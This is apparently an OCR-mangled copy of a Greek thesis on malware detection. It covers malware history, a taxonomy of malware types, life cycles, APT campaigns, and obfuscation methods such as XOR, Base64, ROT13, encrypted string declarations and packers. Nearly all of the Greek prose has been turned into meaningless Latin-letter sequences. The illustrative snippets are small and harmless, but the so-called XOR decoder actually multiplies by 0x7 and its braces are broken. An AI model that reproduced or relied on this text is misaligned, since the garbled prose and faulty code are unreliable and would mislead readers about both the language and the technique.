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MepiAnyn

‘Eva andé Tta onuavtikotepa TPOPAAMATA TIOU QVTIMETWIICOLUV Ol pnXavikoi
aocdaleiag edw Kal TEPITIOL TECOEPIG OEKAETIEG €ival N KATAOTOAN AOYIOULIKWYV TIOU OTOXO
€xouv va BAAYouv Ta LTTOAOYICTIKA CUCTNUATA OTA OToia eykaBloTWVTAL I} EKTEAOLVTAL.
To mpoéPANua avixveuong LOPOPDIKOL AOYIOUIKOU artoteAel TapAAANAQ  QVTIKEIPEVO
akadnuaikng €peuvag ano otav MpwTtoeudavioTnKav Ta MPWTA AOYICUIKA TIOU €ixav Tn
oduvatdtnta va e€armiwvovtal kat va dtadidovtal. MNapdAa avtd akopa Kat orpepa dev €xel
avarttuxBei pla akpiprig pebodoloyia mpootaciag anod TETOIAG HOPDNG TPOYPAUHATWV.
AuTO odeiletal Kupiwg oto OTL n Onuioupyia Kal Olabeon TPOYPAUMATWY avixveuong
LOMOPDIKOU AOYIOUIKOU amoTeAel pia amo TIC Tio Kepdodpopeg SpacTtnEloTNTEG TNG
ovuyxpovng TANPOPOPIKNG HE QATIOTEAECHUA, OPYAVIOUOI TIOU avamTOOOOULV TETOIEG
peBodoloyieg va TIGC OlaTnPOUV HUCTIKEG YlA €0WTEPIKN Katavaiwon. Emiong, n
Tapaolkovopia 1ou €xel dnuiovpyndei ard Tnv avamntugn kat eEAMOALON LOPOPDLIKOU
AOYIOUIKOU Tnv Kabiotd iowg tnv 1o mpocododopa mapavoun oOpactnpeidtnta pe
QrOTEAECUA, Ol TIPOYPAUHATIOTEG TETOIWV AOYIOUIKWY VA avarttlooouv OAO Kal TIO

eEeAlypuéva kakOBouAa rpoypdupata.

2Ta mAaiola autig TG SIMAWPATIKAG TtTapouctalovTal oL TUTIOL LOPOPPWV TIOL €XOLV
ePdAVIOTEl OTO TIEPACPA TOU XPOVOU, Ol TEXVIKEG ME TIC OTIOieG dPOLV, ATTOKPUTITOUV TO
neplexopevo Ttoug Kai e€amAwvovtal. apdAAnAa, mapoucialetal n onuiovpyia evog
OLOTNMATOG AUTOPATNG QViIXVELONG LOPOPDIKOU AOYIOMIKOU TIOU OLVOLACLEL, TEXVIKEG

avixveuong Je Xpron epYAAEiwV KLPiwg avolxTtou KwOIKa.

Negelc KAeldla: lopopdiko Aoylopikd, KakoBouAo Aoyiopikd, MEBodol Avixveuong
lopopdikov Aoyilopikov, Avalvon Zuurepidopag, Avvapikry Avaiuon.
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Eival kovwg arnodekto nwg n SlacuvOeSIPOTNTA KAl O TIAYKOOULOG LOTOG TEPA arod
Ta podavr; odeAn 1o nmpoadepel KabBnuepiva otn {wr) Tov avBpwWTIov Tov EdePE KOVTA
KalL o€ pia AAAn TUO OKOTELVI TIPAYMATIKOTNTA QUTH TwV OlASIKTUAKWY ATIEIAWV TIOU
otoxeLouv va Tov eanatrioovv. ‘Eva peydlo pépiopa twv SIadIKTUAKWY AreAwy eival n
onuovpyia Katr aveEEAeyKTn d1adoaon €10IKA SLAPOPPWHEVWY AOYIOUIKWY TIOU EUTIEPLEXOLV
EVTOAEG TIOU OTOXO €xouv va PAAYPoLV UTIOAOYIOTEG Kal Xprioteg. Ta mpoypduuata avtd
xapaktnpifovral wg KakoBouAa Aoylouika ) icoduvapa lopopdika Aoylopika. ‘Eva anod ta
HeyaALTepQ BEpaTa NG aoPAAEIAG LTTOAOYIOTIKWY CLOTNUATWY €ival N TIANENG avixveuvon

KAl KATAOTOAr KABe KATNyopiag Twv TPOYPAUMATWY AUTWV.

O mpwTog epeuvnTiG O oOmoiog €o0tw kKal €upeca OlaTlMwWoe TNV 1A TOU
KakoBouAou AoylopikoL rtav o John von Neumann' to 1949, cuvepeuvntrc Tou Allan Tur-
ring, o oroiog aveéntuée To Bewpnua yla avtoavanapayopeva avtopata (Theory of self-
reproducing automata)[1]. To TMPWTO KATAYEYPAUUEVO TIEPIOTATIKO ard AOYIOUIKO TIOU
peTad1doTav amnod €va LTMTOAOYICTIKO oUOTNUA OE €va AAAO CULVEREL QPKETA Xpovia apyoTepa
To 1971 kair ovopdotnke Creeper[2] dnuoLpynpa mBavotata tov Bob Thomas. H
ovopacia mponABe and to pnvupa “I'm the creeper: catch me if you can.” mou
eudavifotav otav petoikile oe €va UTIOAOYIOTIKO clotnua. ‘Htav vAorolnuévo oe assem-

bly, otdxeve vOAOYIOTIKA cuoThpaTa Tenex kat dladldoTav PECW TOU SIKTUOUL PETAYWYNAG

T @ewpeital 0 MATEPAG TWV CUYXPOVWV UNXAVWV KAl TNG apXITEKTOVIKAG Neumann cOudwva e tnv
omoia pia umoAoyloTikry pnxavr arnoteAeitat amnd povadeg €106dov, KeVIPIKN povada
enefepyaoiag, KEVIPIKN pvrun Kal povAadeg €€660L. ZnUAVTIKN €TionNg Kpivetal kKait n BewpntikA
TOU avdaAuon yla Ta XAPAKTNPEIOTIKA TWV auToavarapayouevwy pnxavwy, n omnoia katéAnée otn
SlaTomnwaon Tou Pabnuatikot GoPHUAAITHOD TWV KUTTAPIKWY AUTOUATWV.
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makéTwv ARPANET? Tou ypadeiou apivng Twv APEPIKAVIKWV EVOTIAWY SUVAPEWV TO OTIoio
QAroTEAOVCE TIPOTIOUTIO TOU anuEPLVOL S1adIKTUOU.

2TO TEPACHA TWV XPOVWV TaA IOPOPPIKA AOYIOUIKA avartuooovTal Kal eEeAicoovtal
oce PBabuod ekbetikd. ‘Epeuveg €xouv armodeifel OTL TO KivnTpo Tou evBapplvel TNV
onuovpyia TETOWV AOYIOUIKWV €ival Kupiwg OlKOVouIKO. H Onuioupyia kat &iadoon
LOJOPPIKOU AOYIOPIKOU KATATAoOoETAl OTIG TILO TPoocododopeC TAPAVOUEG
6paotnpPloTNTEG[3] evw amod TNV AAAN ot {NULEG TIOU PTIOPEL va TIPo&evoel EKPPATPEVEG OE
XPNHUATIKEG povadeg ayyiCouv Kata pEco Opo Ta Oekartpia dioekatoppvpla SoAdpla

etnoiwg[4][5].

2 To ARPANET (Advanced Research Projects Agency Network) anoté\eoe To MPWTO OTOV KOGHO
OIKTUO peETAyWYNG TIAKETWV.
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O gpeuvnTAG TIOL OPLoE EMTAPKWG TNV €vvola “lopodiko Aoyloptkd” ftav o Frederick
Cohen[6][7] To 1984 o omoio¢ mapdAAnAa Odlatunwoe Kal oploBetnoe 1O Pabuod
TIOAUTIAOKOTNTAG TNG AViXveuong TeTolag popdng mpoypaupdtwy. H €peuva tou avedelée
Ta akoAouBa Bewprjuata:

1) H évwon omoloudnrnote cuvoAou Lwv eivat 10G.

2) To ARBOG Twv SIAPOPETIKWY LWV PIAG LTTOAOYIOTIKNG PNXAVAG €ival
aneipo.

3) To mARBo¢g Twv TPOoYyPAUUATWY TIoL eV €ival 10, yla Yl CUYKEKPIPEVN
UTTOAOYIOTIKI pnxavn, ival aneipo.

4) Aev eival duvatd va oxedlaoTel LTOAOYIOTIKA pNXavr Kav va
artodpavOei oe TMETMEPATPEVO XPOVO AV pla akoAouBia evtoAwv eival 10G.
5) Agv undpxel PEOYPAPUA TO OTIOI0 va MTopPEl va avixveloel OAOLG
TOUG LOUG PLAG CUYKEKPIUEVNG UTIOAOYIOTIKNG PNXAVAG.

6) Aev eival duvatr) n oxediaon evog MEOYPAUUATOG, TO OTI0IO va
artodaivetal, Oc TETMEPACPEVO XPOVO av pia O6edopevn akoAoubia
OLMBOAWYV TIOL ATIOTEAOLV €va TIPOYPAUHA YIA HIA CUYKEKPIUEVN PNXavn
eivat 10g n oxl.

7) H dartiotwon av pia éedopevn akoAouvBia cupBoAwv, Tou eival 10g,
uTtopel va napaxdei anod pia aAAn dedopévn akoAouBia cupBoAwy, Tou
eriong eival 10¢g, eivat pn emALVCIpo TIPOPANa.

8) Aev umdpxel TPOYPAUHA TIOL va UTOPEL va €VTOTIoEL Ard Tolo
npoypappa ¢opea MPOoKANRBNKe n IPOCPOAN evOG IPOYPAHUHATOC.

Ta napandavw Bewprjpata rmap’ OAn TNV €peuvva TOOWV XPOVWV yla Tnv dnuioupyia
OLOTNUATWY AVIXVELONG KAKOBOLAOL AOYIOUIKOU akpIBeiag akopa dev €xouv KatappldpOEi.
AvtiBeta pallota OAeG Ol €PELVEG OLVNYOPOULV OTO va Ta evioxbouv. To 2003 o ‘EAAnvag
gpeuvnTng Alopndng A. ZmveAAng[8] katadepe va amodeifel 0TI n avayvwplon evog
lopopdIKoL AoylopikoU eival TpoPAnua NP-Completed. Evwy mio mpdodateg €peuveg

avedelEav 0Tl n avixveuvon pag lopopdng dev eival mpoPAnua anodaong, vro TNV Evvola

3 H KAaon NP: MepthapBavel Ta mpoBArpata mou Prinopolv va enaAndeutolv eVTOC MOAVWVUHIKOU
Xpovou.
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oTL ovdenote dev Ba vrnAp&el aAyopIOUOG TETOIOG WOTE VA UTIOPEL va AviXveLoeL OAEG TIG

LOMOPDEG TIAPEXOVTAG ATAVTHOELG TNG TASEWS aAnBelag 1 YEPATOG.



Ta 1opopdIKA AOYIOUIKA ATIOTEAOUV HIA YEVIKOTEPN KATNYOoPIia TIPOYPAUMATWY TIOU
OoTOXO0 €Xouv va BAadouv €va UTIOAOYIOTIKO cvotnua. Availoya pe tn dpactnpldotnta Toug,
TOV OKOTIO yla TOV OTroio €xouv Snuiovpynbei Kal TNV KPIOWWOTNTA TWV CUVETIEIWV TIOU
MTIOpOLV va emdEpPouv Propolv va Katataxbouv oe elOIKOTEPEG Katnyopieg [9] oe

ouvapTtnon Pe Toug dakTLAIoUG TNG otoifag aodpaleiag [10] (Eikova 1):

Eninedo Acitoupyixou

Tvomuarog

Aaxtulog 0

Saxtuhog 3

Eikova 1. AakTOAl0G AcdAaAelag

* Backdoor. AroteAel Tupa AOYIOUIKOU TIOL OTav eykaBiotartal o €va
UTIOAOYIOTIKO oUoTnua Oivel Tnv duvatotnta o€ €va eruTiBEpevo va
ouvOebel amopaKkpuopEVa Pe AUTO Kal ouvNBwWG va EKTEAEDEL EVTOAEG
TEPUATIKOL [AakTUAOL2,1].

* Bot. Artoteholv dikTua amd POAUCHEVA LTTIOAOYIOTIKA CULCOTHPATA TIOL
EKTEAOUV AUTOHATA EVTOAEG EVOG KEVTPLIKOU CUCTHHATOG TIOU EAEYXEL O
emtiBepevog [AakTtoAlon3,2,1].

* Downloader 11 Dropper. ArnoteAei AOYIOUIKO TO OTIOIO OgV EUTIEPIEXEL

KOKOBOULAEG akoAouBieg evioAwv aAAA O OKOTOG Tou e€ival otav
10



eykaraotabel oe €va UTIOAOYIOTIKO olotnua va  kKAvel Anpn kat
€YKATAoTaon evog 1opopPIKOL apxeiou pEcw Tou S1adIKTLOU.

Stealer. ArtoteAei KOKOBOULAO AOYIOUIKO TIOL OTOXO E€XEL VA CUAAEYEL
nMAnpodopieg amd TOUG ULTMOAOYIOTEG Twv OupdTwv Kal va TIG
arooTteAAEL oTov emuTIOEpevo. YTiokatnyopia Twv stealers aroteAoLv ot
Keyloggers ol ottoiol avixvebouv OTIOATIOTE TIANKTPOAOYEL TO Bupa oe
Hopdr cupBoAocelpwy (Por XAPAKTNPWY) KAl TA ATIOOTEAAEL OE TAKTA
XPOVIKA dlaoTtripata otov ertiBePevo. Ta mpoypAupata auTtda T Tou
TIPAKTEOL npoomnabolv va UMoKAEPouv cuvOnuatikd ouvndwg
OladIkTvakwv edpappoywv [AakTuAlot2,1].

Launcher. H katnyopia autwv Twv IOPOPDIKWY AOYIOUIKWY OTOXO
€XOLV va eykataotrioouv aAAd KakOPBouAa Ttpoypdpuata. Aegv
XPNOIYOTIOIOUVE KAQOIKEG HEBOOOULG yla TNV €yKATAOTAON AAAWV
TIPOYPAUHATWY OTIWG AAAEG KATNYOPIEC KAKOPBOUAWY AOYIOUIKWY AAAA
npoorabolv va efaodalicovuv amoAutn adladdvela Kal EKTEAEON
Oladikaclwv pe 600 1o duvatov vynAdtepa OSikawwpata opddwv Kal
xpnotwv [AakTtLAo:3,2,1].

Rootkit. To ipwTto cLVBETIKO TNG Ag€elg vrtodnAwveL OTL LOPOPDES TNG
KATNyopiag authG €KTEAOLV EVEPYEIEG ME OLAXEIPIOTIKA SlkalwpaTa.
Arotelei tnv TuO etkivbuvn popdr) KAkKOBouAou Aoylopikol OLoTL
uTIopel va TmpocBeEcel 11 va TPOTOMOIoEl KWAIKA TOL TwPRva TOUL
Aeltoupylkov cuotriuatog Linux r twv Drivers ToOu A€ITOUPYIKOU
ovotriuatog Windows avtiotoixa. lMapdAAnAa eival oe B¢on va
eyypadei oe Topeig ekkivnong [AaktoAlot: 1,2,3,0].

Scareware 1 Ransomware. Ta 10popdIKA AOYIOUIKA AUTA OTOXO E€XOLV
va ¢ofiocovv kal va efavaykacouv ouvrBwg Ta Bvpata Toug va
kKataBAaAouv XpnUATika mood wote va adaipebolv oL TIEPIOPICHOL IOV
onuwovpyolv. To Tmo olvnBeg KpolLopa aroteAei n opopdry va
Kpurttoypadei To okAnpd dioko Tou BLPATOG Kal va AvTAAAACCEL TO
KAELOl armoKpuTITOYypAdPnonG EvavTl XPNHATIKAG apoIPNG.

Spam. Ot 1opopdPEC aUTEG €xouv EeKABAPO oTOXO, va PYOAUVOLV OGO TO
duvaTtov TeEPLOOOTEPA UTIOAOYIOTIKA ouoThApaTa Kait va Tta

XPNOLYOTIOIlOOLV yla va armnooteilovv avemBbounta pnvopata
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NAEKTPOVIKOU Taxudpopeiov (Spam Email). Amotelovv cuvribwg TO
npwTo Prua embecewv phishing evpeiag kAipakag.

+ Worms. AnoTteAoUV 1OPOPPEG Ol OTIoIEG TIPOOTIABOLV VA PETOLKCOLV
artd €va UTIOAOYIOTIKO oloTnUa oe AAAa. EkpetaAAevovtal Kupiwg
EUTIABEIEG TWV AEITOUPYIKWYV OLOTNUATWY N TWV ULTNPECIWV TIOU
XPNOLOTIOIOVV YIa va TIETUXOLV TNV eEATIAWON o€ €TTMESO SIKTLOV.

* Virus. AnoteAolv KaAkOPBouAa AOYIOUIKA TQ OTmoia oTtdxo €xouv va
avtlypdpouv TO KAKOPBOUAO TEPlEXOPEVO TOULG O 00O TO SuvaTov
TMEPLOOOTEPA TIPOYPAPPATA EUTIEPIEXEL TO LTIOAOYIOTIKO OUOTNUA TIOU

HOAUVOULV.

YTApXouv TIEPUTTWOELG TIOL €XOLV AVIXVEUTEL UPPIOIKA KAKOPBOLAQ AOYIOUIKA, TaA
OTIOia EUTIEPLEXOLV XAPAKTNPLOTIKA amo SIAPopeG KATNYopIieg 1opopdwy Xwpic va eival

€UKOAO va Katatayxbouv oe KAmola amno TIG TAapandavw KAatnyopieg.
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O KUKAOG CwnG Twv lopopdwy eival Apeca cuvOESEPEVOG PE TNV CLUTIEPLPOPA Kal
TNV Katnyopia otnv oroia avikouv. ‘Opwg OAeg PeTAL TOUG £XOLV KOIWVA XAPAKTNPLOTIKA.
H opadotoinon toug €ival pla yevikn mepypadr], EMOPEVWE LTIAPXOLV TIEPITITWOELG TIOL
KaKOPBoUAa AOYIOUIKA SEV EUTIEPIEXOLV KATTOLO 1 KATola oTAadla oTto KUKAO TNG {wnG TOuG
ard autd mou Tmeplypddovtal mapakatw|[11](Ekova 2). To npwto otddlo adopd Tn
Oleioduon evog KAKOBOLAOUL AOYIOHUIKOU O €va LTTOAOYIOTIKO CUCTNUA TO OT0I0 PTOoPEL va
emutevxBei eite pe pla evoToxn eKPeTAAAevon aduvapiag n oepd aduvvaplwv oe ertinedo
AEITOLPYIKOV CLOTHHATOG 1 €PAPHOYNG TIOU EKTEAEITAL TIAVW OE AUTO 1 HEOW QUEAELAC
Twv Xpnotwv. 2to 6elTePO OTASIO N lopopdr €xel eykaraotabei oe €va cvuoTnua Kat
Bpioketal oe kKatdotaon UMVWONG TIEPIMEVOVTAG €va Yeyovog yila va &ekivrioel tn 6pdon
™nG. To Tpito otddio eival n pdaon NG e€AnAwong Kat Tng 6pAcng OToL N 1opopPdr HOALVEL
000 1O OuvaTtov TEPIOTOTEPA TIPOYPAUMATA AEITOUPYIKOU CULCTHPATOC KAl EKTEAEL TIC
EVEPYEIEG YIA TIG OTIOIEG €XEL TIPOYPAMMATIOTEL. 2Tn TeAevtaia ¢daon n opopdr Exel
e€anmAwbei oe OAO Kal TIEPIOCOTEPA UTIOAOYIOTIKA CUOTHPATA PE aroTeAeopa n dpdon tTng

va avixveuTei, va avaAuBei kat n iopopdn va aradlwoei.

2tado
Aleioduong

v

21ad1o *‘* Z1adio
Ana&lwong \l} Yrvwong
2tado '
EEamwong

Eikova 2. KOkAog Zwng lopopdikov Aoylopikol
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Mépa amd tnv Katnyoploroinon Twv lopopdwv Pe PAcn tnv cuprepiPpopd TOLG
UTIOPOUV va KatnyoplorolnBouv Kal pye Bdaon tnv KAipaka tng HOALVOoNG Tov TIPOKAAOUV.

‘Etol €xoupe SO KATNYOPIEG TA LOPOPPIKA AOYIOUIKA EVPEIAG KAIMAKAG KAl TA OTOXEVPEVA.

2 TNV KAtnyopia autr] avikouv KakOBouAa AOyIOUIKA TIOU €xouv okorto va PAdypouv
OUYKEKPIPMEVOULG OTOXOUG, ONMwG Kpiolpeg vrodopeg (Stuxnet, Duqu) emidpépovtag
KaTtaotpodeg oe eminedo Kpatikd Kal €BviKO 1 va TPAYPATOTIOIOUV BLOPNXAvIKD
kataokorieia. O 6pog mouv meplypddel TI¢ emBeoelc avteg eivat Advanced Persistent
Threats (APT)[12]. Zta mAaiola autng NG gpyaciag o 0pog adpopd Ta IOPOPPIKA AOYICHIKA
TMou oupPAalouv OTIC erBEoel; auTEG Kal n Onulovpyia Toug araitei 1dlaitepa
eEEIOIKELPEVEG YVWOELG, eival KAAA Oopnuéva, €xouv €DAPUOOTEL TEXVIKEG KOIVWVIKAG
MNXQVIKAG (social engineering) Kal eKUETAAAELOVTAL AYvwoTeG aduvapieg ( zero-day ex-
ploits) yla va eloxwprioouvv Kail va Tapapeivouv 600 1o Suvatodv HPEYAAUTEPO XPOVIKO
dldotnua pn-avixveLola oTa LTTOAOYIOTIKA CUOTHHATA TOU OTOXOU TOUG.

‘Etol yia ta Aoyiopikd avtd oto otadio tng avantuéng (Eikova 3) ol erutiBepevol:

+ [MpoadlopiCouv Tov OTOXO TOLG Kal TA KivnTea yla Ta oroia 6EAouv
va TIPAyUaToTIojoouy TNV €ribeon.

+ Anploupyolv opadeg e€eldikevpevwy atopwyv Kal Kabopilouv
appodloTnTeG yia Ta otdadia tng Stadikaciag avamntuéng.

« Kdvouv mAApn avaAvon Tou TEPIBAAAOVTOG-OTOXOU Kal TwvV
avBpwriwv mov oxetiCovtal pe avtod oUTWG WOTE va KaBoploTei pe
MooV TPOTIO TO KAKOPOULAO Aoylopikd Ba eloxwprioel ota
OLOTNHUATA TOU GTOXOV.

* Edappolouv OAeg Tig peBodouvg avaiuvong LopHopdPIKoOU AOYIOHIKOU
woTte va TneplnAeéovv 600 TO OSLVATOV TIEPLOCOTEPO TO

TIEPIEXOUEVO TNG LOPOPPIG TIOU AvaTTUCOooULV .
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« EkpetaAAevovTtal egundbBeleg TOL OLOTAMATOG yla va
€YKATAOTIOOLV TO LOPOPPIKO AOYIOUIKO 1 €pappOlouLV KOIVWVIKI
MNXQAVIK OTOLG avBpWTouG TOL Opyaviopol meibovtag Toug va
EKTEAEOOULV Apeca n €uueca TNV popdry (Phishing, Email,

noAttikeg Bring Your Own Device).

P

lm&m
lnbm

MNoAverinedn
Avaluon
2100w

=

Eikova 3. KokAog Avamtuéng A.P.T

Adov Tta rmapandavw BrAupata erutevxBolv Pe ETITUXIA KAl TO KAKOBOUAO TIpoypauua
TEAIKA €eyKaTaotabei oOc KAMOLO ULTMOAOYIOTIKO OLOTNUA TOUL OPYAVIOUOU, AUTO eival
TPOYPAUUATIOHEVO Va:

* Na dlacuvdeael Ta diKTua TOL OTOXOUL PE TOUG ETUTIOEPEVOLG.

* Na ekpetaleuvtei AAAN pla oelpd aduvaplwy TwV UTTIOAOYIOTIKWV
OUOTNUATWY TIOL €XEL €YKATAOTABEL yla va QroKTnRoel akoua
nePLooOTEPA SIKAWPATA (ELOXWPENON OTOV KEVIPIKO SAKTUAIO TNG
otoifagc aodaleiag).

 Na efanm\wBei oe TmeEPIOCOTEPA UTIOAOYIOTIKA OCULOTAUATA Kal
vrtodiktua enavalapBdavovrag Ta napandavw BAuara.

* Na eKTeA€oel OAEG TIGC EVEPYELEG yla TIGC OTIOIEG E€XEl
npoypapuatiotei (payload), avtiypadovtag rn kataotpedovtag

apxeia Twv oToXwv TOU.
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* Na napapeivel pn-avixvevolpo. Auto PTopei va To erutuxel apou
0€ TIPONYOULHEVO OTASIO €XEL ATTOKTNOEL SIAXEIPIOTIKA diKaiwpata
Kal eivalt oe BO€on va TPOTOMOIACEL KAl va QavTlIKATAOoTrOoEl
puBuicelg Kal MPOYPAUMATA TOL AEITOUPYIKOU GCUCTHPATOGC TWV

UTTOAOYIOTWYV TIOU €XEL HOAVVEL.

H avixvevon autig TG Katnyopiag opopdpwyv €XEl EEKIVAOEL CUCTNUATIKA TA
TeAevTaia xpovia katoriv dnuocicuon €peuvvag (APT1: Exposing One of China's Cyber
Espionage Units) tng etapiag aodpdieiag Mandiant [13] n omoia mapakoAovBouvoe
OLOTNUATIKA TN OpAcn €VOG TETOIOU LOPOPPIKOU Aoylopikol artd to 2004 €wg to 2013.
ESw a&iCel va onuelwdei 0TI 0 XpOVOC TIOU amalteital yia va eVIOTIOTEL pla logopdn gival

avTIoTPODWE AVAAOYOG HE TN KAIJaka TG JOALVONG TIOL TIPOKAAEL.

OL 1opopdEG IOV AvAKOLV OTN KATNYopia TNG €upeiag KAPakag oKomo €xouv va
HOAUVOULV 000 TO duvATOV TIEPLOCOTEPA LTTOAOYIOTIKA cUOTAUATA APeoa. Ta KivnTpa yla tn
onuovpyia TETolag HopPdrG AOYIOHIKOU TIOIKIAOULV Ol TTIIO oUVNBEIG KATNYOpPIEG ival ol eE§NG:

1. H dnpiovpyia SikTOwv poAvouevwy vrtoAoyloTwy (Botnetes) kat n
XPron Toug oOe eupeiag KAipakag emiBeong dapvnong
egurinpétnong (Denial Of Service Attacks)

2. H anootoAn pallkwv pgnvupdtwy averubuuntng aAAnioypadiag
pe okoto emnbeoelg phishing.

3. H vmokAomnn &iamiotevtnpinv tpamnellkwv OlAdIKTUAKWY
epappoywv Kat ePapPoywVv KOWVWVIKAG SIKTOWONG.

H 6iadoon twv ev AGyo lopopdwv anoTeAEl TO KUPLO AOYO avixveuong Toug adou
TIPAKTIKA €ival BEPa NUEPWV PEXPL va QVIXVELTOUV Kal va KatnyoploroinBouv ard tng

€TAlPiEG TIOL AvVATTTUOOLV AVTIIKA TIPOYPAUUATA.
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Katd kaipoug €xouv avarrtuxbei Olddopol peBodol mpooTtaciag AOYIOPIKOU
EUTIOPIKWY €DAPHOYWV KUPIWG, yla va €&vIoXOOOLV TNV TIPOOTACIA TWV TIVEUHUATIKWV
OIKAIWPATWY TV SNUIOLPYWV TOLG ATIOTPETOVTAG TNV AAyoplOuLkr) avaAuon (code analy-
sis) Kal Tnv avtiotpodn petayAwTTion (reverse engineering). AUTEG OL TEXVIKEG €XOULV
uloBeTNOEl Kal amd Toug SNUIOLPYOUG LOPOPPIKWY AOYIOHUIKWY, OPWG O OKOTIOC TOUG €ival
eVTEAWG OlaPOPETIKOG. ZULYKEKPIUEVQ, UE TIC TEXVIKEG ATIOKPULYPNG TeplExopEvoL (obfusca-
tion) agdevog pev anodpelyouvv OAEG TIG TEXVIKEG AVIXVELONG OTATIKWYV uTIoypadwv (HoTifa
ard KAKOPBOUAEG aKOAOLBIEC eVTOAWV YAWOOAG PNXavng), Kal adpetepov O6€ KAVOULV ThV
avaAuon TO00 TIEPITIAOKN yla TOUG AVAAUTEG IOPHOPPIKOU AOYIOHIKOU auEAvovTag eKBETIKA
TO XPOVO avAaAuong TIOL AralTeiTal yia va Katnyoploroindei weg KakoBouvAo €va apxeio.
20vNBeIg TEXVIKEG amoTeAOUV N Kwdikoroinon (encoding) 1 Kpurttoypadnon PEPWV TWV
EKTEAECIPWV apxeiwv Tov TepIAapPBAveL TIGC KAKOPBOLAEG AKOAOLBIEG EVTOAWV Kal N Xperon

oupriieotwyv (Packer).

Mia ano TIG o ouvNBIoPEVEG TEXVIKEG amokpung replexopevou (obfuscation) mou
xpnoworoleitat and tnv mAcioPpndia Twv 1OPOPPIKWY AOYIoUIKWY (MoAvpopdikwy 1
Metapopdikwy) eival To encoding Kat n cuprtieon. Me TIG TEXVIKEG AUTEG €va KAKOBOULAO
AOYIOUIKO JTIOPEL va TPOTIOTIOIEL TO TIEPIEXOMEVO TOL ME TPOTIO TETOIO WOTE Vva

artogpevyeTal N availuon Kat n avixveuorn Tou.

H amnokAelotikr) 61alevén (Exclusive Or) amoteAei tnv o amloikn pEBodo
Kpurttoypadiag kKair xpnoworoleitalr Kupiwg yia tnv ardékpupn oLPPOAOCEIPWVY TIOU
EUTIEPIEXOVTAL OE EKTEAECIPA. H AOYIKN pE TNV OToia LAOTIOIEITAL OTIC TIEPIOCOTEPES TWV
TIEPIUTTWOEWV €ival OOV pla CLPPBOAOCEIPA KWOIKOTIOIEITAL PJE TNV XProN MIAG OTAaTIKAG

TIUNG KAl aroKwOIKoTIolEITAlL KATA TNV EKTEAEDN (ZTIyploTuTio 1).
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char *decodeOnExec(unsigned char *_string)

{

for(int i=0; _string[i]; i++)

{
_string[i] = _string[i]*0x7;

return _string;

2tiypiotuno 1. Anokwdikoroinon XOR

H kwdikomoinon Base64 xpnoipormoleital yia va avanapactabouv duadika (Binary)
o6edopéva oe popdr) ASCIIL. Auti n popdr kwdikoroinong eival oAU Siadedouevn ota
LOHOPDIKA AOYIOUIKA OPWG 0 AOYOG Yl TOV OTIoio oXeOIACTNKE rTAv yia TNV KWOIKOTIoinon
OLVNUMEVWVY apXeiwv NAeKTpovikoL Taxudpopueiov. H kKwdikoroinon Base64 mpakTika
peTtaoxnuatiCel duvadika dedopeva oe €va cOVOAO e€fAvria Teoodpwv AAPAPIOUNTIKWY
xapaktipwv (ABCDEFGHIUKLMNOPQRSTUVWXYZabcdefghijkimnopgrstuvwxyz012345
6789/) Kal eI8IKWV XapakTrpwv o omoiog ovoudletal Ttivakag kwdikotoinong(Index Table).
MapdAAnAa o xapaktripag “=“ xpnolgoroleital wg e0IKOG KwdIkag emibepatog. O Adyog
yla TOV OTI0i0 N €v AOYO KWwAIKOTIOINON XPenolhoTioleital arnd Toug dnUIoupyous lopopdwv
aroTeAel TO yeyovog OTL MMOPOUV va ULAOTOINBOLV TIPOCAPHUOCHEVOL AAyoplOuolL
avtikatdotaong Touv va €xouv HoTifo Base64 amAwg kal povo petaBdaAilovtag TIG
owatda&elg tou mivaka kwdikormoinong(index Table) mpokelpévou va arnokpupBovrtal
OLUPBOAOCEIPEG TIOL EUTIEPIEXOLV Ol IOPHOPPEG Kal va eival N avtiotpodr] TOLG aKoua Tio

OUOKOAN yla TOLG AVAAUTEG.

O aAyopiBpog avtikatdotaong ROT13 (Rotate By 13 Places) amoteAei eVAAAAKTIKN)
ovopaaoia Tou LoToplkoL aAyopiBuouv Caesar. H Bacikr) Aoyikry Tou €ival n avtipgeTtddeon
(oAioBnaon) ypaupdtwy Kata &eka Tpelg Beoelg (ZTypiotuno 2). H xprion tou ota lopopPika
Aoylopika 6gv gival 10laitepa dladedopevn yla TNV KwolKomoinon cuppBoAoceipwy OLOTL

eival eDKOAQ AVTIOTPEPIPOG aAyopIBoG.
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ROT13(x) =y
ROT13(ROT13(y)) = x
x=ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijkimnopqgrstuvwxyz

>tiypotuno 2. Kwdikoroinon xapaktrpwv ROT13

O1 kpurttoypadikoi alyopilBuol eival oe B€on va AMOKPUTITOUV TO TIEPIEXOUEVO
OLUPBOAOCEIPWY Ot EKTEAEOIPA apxeia Ouoxepaivovtag TNV avtiotpodr] HETAYAWTTION
Toug. 'Etol o1 dnuiovpyoi 1opopdIKwY AOYICUIKWY gival e B€on avti va opilouv TIG TIUEG
Twv OSadpopwv petaBAntwv oe amAo kKeigevo (ZTiypidturo 3), va TIGC dnAwvouv
Kpurttoypadnueves (ZTiypiotuno 4) pe BAon KArolo Kpurtoypadlkd aAyoplBuo Kal ol
TIMEG va arokpurttoypadoLvTal Katd Tnv eKTEAean Tou Tpoypdppatog (Runtime Decryp-

tion).

domain="https://www.dropbox.com”;
port=*443”;
aes_key=md5(“test”); = 098f6bcd4621d373cade4e832627b4{6

2TIypioTumo 3. TuRua AnAwoewv EkteAéoipou Mpoypdupatog

value1 = “hSVPrRYzZR4gHvLFpmg2kbNollIAvXh88eEwqlHtn2eo="
value2 = “ipUxJPG7W53kbXqO3I3vUw=="
value3 = “098f6bcd4621d373cade4e832627b4f6”

2Tiypiotuno 4. Kpurttoypadnuévo Tunua AnAwoewv EkteAéotpou Mpoypdppatog
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O PBaocikog Adyog yia Tov oroio dnupiovpynbnkav kait avarttuxbnkav ot packers
EKTEAECIJWV TIPOYPAUHATWY ATAV YA VA CUPTIECOUV TO TEPlEXOPEVO Toug. ‘OAol ol
OLMTUIECTEG SEXOVTAL Eva EKTEAECIPO apXeio oav €ico00 Kal MAPAYOLV UL CUUTIIECUEVN 1)
Kpurttoypadnuevn ekdoxry tou. Mmopei va edappooTel CUVOAIKA O OAOKANPO TO
EKTEAECIPO 1) o€ TURUaTa Twv dedopeEvwy Tov eumeplexel. H diadikaoia tng cuprieong €xel
oav arnoTeAeopa va Kablota e§alpeTik OVOKOAN TNV OTATIKA avaAuon Kal Thv avtiotpodn
HETAYAWTTION apXeiwv mapdywywv Tng diadikaciag autng el81KA av o cudtieotr|g dev gival
YVWOTOG 1 QVTIOTPEPIUOG.

